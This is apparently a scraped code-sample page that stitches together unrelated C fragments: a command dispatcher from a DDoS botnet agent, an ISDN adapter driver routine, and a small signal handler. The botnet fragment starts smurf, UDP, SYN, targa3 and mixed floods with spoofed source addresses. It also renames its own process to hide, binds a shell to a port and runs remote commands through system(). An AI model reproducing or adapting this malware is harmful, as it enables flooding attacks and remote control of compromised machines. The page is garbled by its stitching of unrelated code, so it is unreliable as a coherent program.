      commence_smurf (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SENDUDP:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 1;		/* commencing UDP flood */
      strcpy (argp[0], HIDEKIDS);
      commence_udp (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SENDSYN:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 2;		/* commencing SYN flood */
      strcpy (argp[0], HIDEKIDS);
      commence_syn (target, port4syn);
      strcpy (argp[0], HIDEME);
      break;
    case ID_STOPIT:
      if (!fw00ding)		/* this has no longer a meaning */
	break;
      must_kill_all ();		/* all flood childs terminating */
      usleep (100);
      fw00ding = 0;
      break;
    case ID_SYNPORT:
      port4syn = atoi (target);	/* syn port set */
      break;
    case ID_PSIZE:
      psize = atoi (target);	/* new packet size */
      break;
    case ID_SWITCH:
      switch (atoi (target))
	{
	case 0:
	  nospoof = 0;		/* spoof mask: *.*.*.* */
	  break;
	case 1:
	  nospoof = 1;		/* spoof mask: real.*.*.* */
	  break;
	case 2:
	  nospoof = 2;		/* spoof mask: real.real.*.* */
	  break;
	case 3:
	  nospoof = 3;		/* spoof mask: real.real.real.* */
	  break;
	default:
	  break;
	}
      break;
    case ID_SHELL:
      shellsex (atoi (target));	/* shell bound to target port */
      break;
    case ID_TARGA:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 4;		/* commencing targa3 attack */
      strcpy (argp[0], HIDEKIDS);
      commence_targa3 (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_MIX:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 5;		/* commencing interval flood */
      strcpy (argp[0], HIDEKIDS);
      commence_mix (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_REXEC:
      system (target);
      break;
    default:
      break;
    }
}
Ejemplo n.º 24
0
/*------------------------------------------------------------------*/
void pr_out(ADAPTER *a)
{
	byte e_no;
	ENTITY *this = NULL;
	BUFFERS *X;
	word length;
	word i;
	word clength;
	REQ *ReqOut;
	byte more;
	byte ReadyCount;
	byte ReqCount;
	byte Id;
	dtrc(dprintf("pr_out"));
	/* while a request is pending ...                           */
	e_no = look_req(a);
	if (!e_no)
	{
		dtrc(dprintf("no_req"));
		return;
	}
	ReadyCount = pr_ready(a);
	if (!ReadyCount)
	{
		dtrc(dprintf("not_ready"));
		return;
	}
	ReqCount = 0;
	while (e_no && ReadyCount) {
		next_req(a);
		this = entity_ptr(a, e_no);
#ifdef USE_EXTENDED_DEBUGS
		if (!this)
		{
			DBG_FTL(("XDI: [%02x] !A%d ==> NULL entity ptr - try to ignore",
				 xdi_xlog_sec++, (int)((ISDN_ADAPTER *)a->io)->ANum))
				e_no = look_req(a);
			ReadyCount--;
			continue;
		}
		{
			DBG_TRC((">A%d Id=0x%x Req=0x%x", ((ISDN_ADAPTER *)a->io)->ANum, this->Id, this->Req))
				}
#else
		dbug(dprintf("out:Req=%x,Id=%x,Ch=%x", this->Req, this->Id, this->ReqCh));
#endif
		/* get address of next available request buffer             */
		ReqOut = (REQ *)&PR_RAM->B[a->ram_inw(a, &PR_RAM->NextReq)];
#if defined(DIVA_ISTREAM)
		if (!(a->tx_stream[this->Id]   &&
		      this->Req == N_DATA)) {
#endif
			/* now copy the data from the current data buffer into the  */
			/* adapters request buffer                                  */
			length = 0;
			i = this->XCurrent;
			X = PTR_X(a, this);
			while (i < this->XNum && length < 270) {
				clength = min((word)(270 - length), (word)(X[i].PLength-this->XOffset));
				a->ram_out_buffer(a,
						  &ReqOut->XBuffer.P[length],
						  PTR_P(a, this, &X[i].P[this->XOffset]),
						  clength);
				length += clength;
				this->XOffset += clength;
				if (this->XOffset == X[i].PLength) {
					this->XCurrent = (byte)++i;
					this->XOffset = 0;
				}
			}
#if defined(DIVA_ISTREAM)
		} else { /* Use CMA extension in order to transfer data to the card */
			i = this->XCurrent;
			X = PTR_X(a, this);
			while (i < this->XNum) {
				diva_istream_write(a,
						   this->Id,
						   PTR_P(a, this, &X[i].P[0]),
						   X[i].PLength,
						   ((i + 1) == this->XNum),
						   0, 0);
				this->XCurrent = (byte)++i;
			}
			length = 0;
		}
#endif
		a->ram_outw(a, &ReqOut->XBuffer.length, length);
		a->ram_out(a, &ReqOut->ReqId, this->Id);
		a->ram_out(a, &ReqOut->ReqCh, this->ReqCh);
		/* if it's a specific request (no ASSIGN) ...                */
		if (this->Id & 0x1f) {
			/* if buffers are left in the list of data buffers do       */
			/* do chaining (LL_MDATA, N_MDATA)                          */
			this->More++;
			if (i < this->XNum && this->MInd) {
				xdi_xlog_request(XDI_A_NR(a), this->Id, this->ReqCh, this->MInd,
						 a->IdTypeTable[this->No]);
				a->ram_out(a, &ReqOut->Req, this->MInd);
				more = true;
			}
			else {
				xdi_xlog_request(XDI_A_NR(a), this->Id, this->ReqCh, this->Req,
						 a->IdTypeTable[this->No]);
				this->More |= XMOREF;
				a->ram_out(a, &ReqOut->Req, this->Req);
				more = false;
				if (a->FlowControlIdTable[this->ReqCh] == this->Id)
					a->FlowControlSkipTable[this->ReqCh] = true;
				/*
				  Note that remove request was sent to the card
				*/
				if (this->Req == REMOVE) {
					a->misc_flags_table[e_no] |= DIVA_MISC_FLAGS_REMOVE_PENDING;
				}
			}
			/* if we did chaining, this entity is put back into the     */
			/* request queue                                            */
			if (more) {
				req_queue(a, this->No);
			}
		}
		/* else it's a ASSIGN                                       */
		else {
			/* save the request code used for buffer chaining           */
			this->MInd = 0;
			if (this->Id == BLLC_ID) this->MInd = LL_MDATA;
			if (this->Id == NL_ID ||
			    this->Id == TASK_ID ||
			    this->Id == MAN_ID
				) this->MInd = N_MDATA;
			/* send the ASSIGN                                          */
			a->IdTypeTable[this->No] = this->Id;
			xdi_xlog_request(XDI_A_NR(a), this->Id, this->ReqCh, this->Req, this->Id);
			this->More |= XMOREF;
			a->ram_out(a, &ReqOut->Req, this->Req);
			/* save the reference of the ASSIGN                         */
			assign_queue(a, this->No, a->ram_inw(a, &ReqOut->Reference));
		}
		a->ram_outw(a, &PR_RAM->NextReq, a->ram_inw(a, &ReqOut->next));
		ReadyCount--;
		ReqCount++;
		e_no = look_req(a);
	}
	/* send the filled request buffers to the ISDN adapter      */
	a->ram_out(a, &PR_RAM->ReqInput,
		   (byte)(a->ram_in(a, &PR_RAM->ReqInput) + ReqCount));
	/* if it is a 'unreturncoded' UREMOVE request, remove the  */
	/* Id from our table after sending the request             */
	if (this && (this->Req == UREMOVE) && this->Id) {
		Id = this->Id;
		e_no = a->IdTable[Id];
		free_entity(a, e_no);
		for (i = 0; i < 256; i++)
		{
			if (a->FlowControlIdTable[i] == Id)
				a->FlowControlIdTable[i] = 0;
		}
		a->IdTable[Id] = 0;
		this->Id = 0;
	}
}
Ejemplo n.º 25
0
static void
handle_signal(int sig)
{
  dbug(1, "received signal %d: %s\n", sig, strsignal(sig));
  cleanup(0);
}